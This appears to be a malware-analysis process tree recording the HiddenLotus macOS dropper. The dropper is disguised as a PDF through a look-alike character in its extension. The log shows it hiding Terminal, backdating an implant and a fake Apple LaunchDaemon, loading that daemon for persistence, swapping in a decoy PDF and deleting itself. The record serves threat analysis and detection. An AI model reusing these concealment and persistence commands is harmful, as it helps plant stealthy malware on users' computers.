HiddenLotus Process Tree

{
    "process_name": "/Users/zingo123/Downloads/HiddenLotus/L\u00ea Thu H\u00e0 (HAEDC).p\u217ef/Contents/MacOS/L\u00ea Thu H\u00e0 (HAEDC)", 
    "pid": 2535, 
    "command_line_args": "./L\u00ea Thu H\u00e0 (HAEDC)", 
    "child_processes": [
        {
            "process_name": "/bin/sh", 
            "pid": 2536, 
            "command_line_args": "sh -c osascript -e 'tell application \"Finder\"' -e 'set visible of process \"Terminal\" to false' -e 'end tell' > /dev/null 2>&1", 
            "child_processes": [
                {
                    "process_name": "/usr/bin/osascript", 
                    "pid": 2537, 
                    "command_line_args": "osascript -e tell application \"Finder\" -e set visible of process \"Terminal\" to false -e end tell"
                }
            ]
        }, 
        {
            "process_name": "/bin/sh", 
            "pid": 2540, 
            "command_line_args": "sh -c touch -t 1301230549 \"/Library/Spotlight/iWork.mdimporter/Contents/MacOS/mdwork\" >/dev/null 2>&1", 
            "child_processes": [
                {
                    "process_name": "/usr/bin/touch", 
                    "pid": 2541, 
                    "command_line_args": "touch -t 1301230549 /Library/Spotlight/iWork.mdimporter/Contents/MacOS/mdwork"
                }
            ]
        }, 
        {
            "process_name": "/bin/sh", 
            "pid": 2542, 
            "command_line_args": "sh -c touch -t 1301230549 \"/Library/LaunchDaemons/com.apple.mdwork.shared.plist\" >/dev/null 2>&1", 
            "child_processes": [
                {
                    "process_name": "/usr/bin/touch", 
                    "pid": 2543, 
                    "command_line_args": "touch -t 1301230549 /Library/LaunchDaemons/com.apple.mdwork.shared.plist"
                }
            ]
        }, 
        {
            "process_name": "/bin/sh", 
            "pid": 2544, 
            "command_line_args": "sh -c launchctl load /Library/LaunchDaemons/com.apple.mdwork.shared.plist > /dev/null 2>&1 &", 
            "child_processes": [
                {
                    "process_name": "/bin/launchctl", 
                    "pid": 2546, 
                    "command_line_args": "launchctl load /Library/LaunchDaemons/com.apple.mdwork.shared.plist"
                }
            ]
        }, 
        {
            "process_name": "/bin/sh", 
            "pid": 2545, 
            "command_line_args": "sh -c mv -f  \"/Users/zingo123/Downloads/HiddenLotus/L\u00ea Thu H\u00e0 (HAEDC).p\u217ef/Contents/Resources/configureDefault.sys\"  \"/tmp/L\u00ea Thu H\u00e0 (HAEDC).pdf\"  > /dev/null 2>&1 ; open  \"/tmp/L\u00ea Thu H\u00e0 (HAEDC).pdf\" &  > /dev/null 2>&1 ; rm -rf  \"/Users/zingo123/Downloads/HiddenLotus/L\u00ea Thu H\u00e0 (HAEDC).p\u217ef\"  > /dev/null 2>&1 ; cp -f  \"/tmp/L\u00ea Thu H\u00e0 (HAEDC).pdf\"  \"/Users/zingo123/Downloads/HiddenLotus/L\u00ea Thu H\u00e0 (HAEDC).pdf\"  > /dev/null 2>&1 ; sleep 3 ; rm -rf  \"/tmp/L\u00ea Thu H\u00e0 (HAEDC).pdf\"  > /dev/null 2>&1", 
            "child_processes": [
                {
                    "process_name": "/bin/mv", 
                    "pid": 2547, 
                    "command_line_args": "mv -f /Users/zingo123/Downloads/HiddenLotus/L\u00ea Thu H\u00e0 (HAEDC).p\u217ef/Contents/Resources/configureDefault.sys /tmp/L\u00ea Thu H\u00e0 (HAEDC).pdf"
                }, 
                {
                    "process_name": "/usr/bin/open", 
                    "pid": 2549, 
                    "command_line_args": "open /tmp/L\u00ea Thu H\u00e0 (HAEDC).pdf"
                }, 
                {
                    "process_name": "/bin/rm", 
                    "pid": 2550, 
                    "command_line_args": "rm -rf /Users/zingo123/Downloads/HiddenLotus/L\u00ea Thu H\u00e0 (HAEDC).p\u217ef"
                }, 
                {
                    "process_name": "/bin/cp", 
                    "pid": 2551, 
                    "command_line_args": "cp -f /tmp/L\u00ea Thu H\u00e0 (HAEDC).pdf /Users/zingo123/Downloads/HiddenLotus/L\u00ea Thu H\u00e0 (HAEDC).pdf"
                }, 
                {
                    "process_name": "/bin/sleep", 
                    "pid": 2552, 
                    "command_line_args": "sleep 3"
                }, 
                {
                    "process_name": "/bin/rm", 
                    "pid": 2561, 
                    "command_line_args": "rm -rf /tmp/L\u00ea Thu H\u00e0 (HAEDC).pdf"
                }
            ]
        }
    ]
}
{
    "process_name": "/dev/console", 
    "pid": 2548, 
    "command_line_args": "xpcproxy com.apple.mdwork.shared", 
    "child_processes": [
        {
            "process_name": "/bin/sh", 
            "pid": 2553, 
            "command_line_args": "sh -c sw_vers -productVersion 2>&1", 
            "child_processes": [
                {
                    "process_name": "/usr/bin/sw_vers", 
                    "pid": 2554, 
                    "command_line_args": "sw_vers -productVersion"
                }
            ]
        }, 
        {
            "process_name": "/bin/sh", 
            "pid": 2556, 
            "command_line_args": "sh -c uname -m 2>&1", 
            "child_processes": [
                {
                    "process_name": "/usr/bin/uname", 
                    "pid": 2557, 
                    "command_line_args": "uname -m"
                }
            ]
        }, 
        {
            "process_name": "/bin/sh", 
            "pid": 2564, 
            "command_line_args": "sh -c sw_vers -productVersion 2>&1", 
            "child_processes": [
                {
                    "process_name": "/usr/bin/sw_vers", 
                    "pid": 2565, 
                    "command_line_args": "sw_vers -productVersion"
                }
            ]
        }, 
        {
            "process_name": "/bin/sh", 
            "pid": 2566, 
            "command_line_args": "sh -c uname -m 2>&1", 
            "child_processes": [
                {
                    "process_name": "/usr/bin/uname", 
                    "pid": 2567, 
                    "command_line_args": "uname -m"
                }
            ]
        }, 
        {
            "process_name": "/bin/sh", 
            "pid": 2568, 
            "command_line_args": "sh -c sw_vers -productVersion 2>&1", 
            "child_processes": [
                {
                    "process_name": "/usr/bin/sw_vers", 
                    "pid": 2569, 
                    "command_line_args": "sw_vers -productVersion"
                }
            ]
        }, 
        {
            "process_name": "/bin/sh", 
            "pid": 2570, 
            "command_line_args": "sh -c uname -m 2>&1", 
            "child_processes": [
                {
                    "process_name": "/usr/bin/uname", 
                    "pid": 2571, 
                    "command_line_args": "uname -m"
                }
            ]
        }
    ]
}